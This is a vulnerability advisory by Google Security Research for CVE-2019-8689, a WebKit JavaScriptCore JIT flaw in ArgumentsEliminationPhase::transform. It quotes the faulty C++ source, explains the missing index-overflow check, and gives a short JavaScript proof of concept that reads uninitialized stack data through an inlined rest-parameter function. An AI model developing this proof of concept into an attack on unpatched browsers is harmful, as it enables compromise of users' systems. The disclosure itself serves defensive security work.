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Webkit JSC JIT ArgumentsEliminationPhase::transform Uninitialized Variable Access

Webkit JSC JIT ArgumentsEliminationPhase::transform Uninitialized Variable Access
Posted Aug 29, 2019
Authored by Google Security Research, lokihardt

Webkit JSC JIT suffers from an uninitialized variable access vulnerability in ArgumentsEliminationPhase::transform.

tags | exploit
advisories | CVE-2019-8689
SHA-256 | 13d8e2202cdebf7ff53e2e5906bdd6ba343e47a89003e53597579db4cb95bcdc

Webkit JSC JIT ArgumentsEliminationPhase::transform Uninitialized Variable Access

Change Mirror Download
https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
...

unsigned numberOfArgumentsToSkip = 0;
if (candidate->op() == PhantomCreateRest)
numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();

Node* result = nullptr;
if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
unsigned index = m_graph.varArgChild(node, 1)->asUInt32();
InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
index += numberOfArgumentsToSkip;

bool safeToGetStack;
if (inlineCallFrame) {
safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

}
else {
safeToGetStack =
index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

}
if (safeToGetStack) {
StackAccessData* data;
VirtualRegister arg = virtualRegisterForArgument(index + 1);
if (inlineCallFrame)
arg += inlineCallFrame->stackOffset;

data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);

Node* check = nullptr;
if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
check = insertionSet.insertNode(
nodeIndex, SpecNone, CheckInBounds, node->origin,
m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
}

result = insertionSet.insertNode(
nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
}
}

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
return rest[index | 0]; // GetByVal
}

function opt() {
return inlinee(-1, 0x1234); // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
opt();
}

print(opt()); // 0x1234

Related CVE Numbers: CVE-2019-8689.



Found by: lokihardt@google.com
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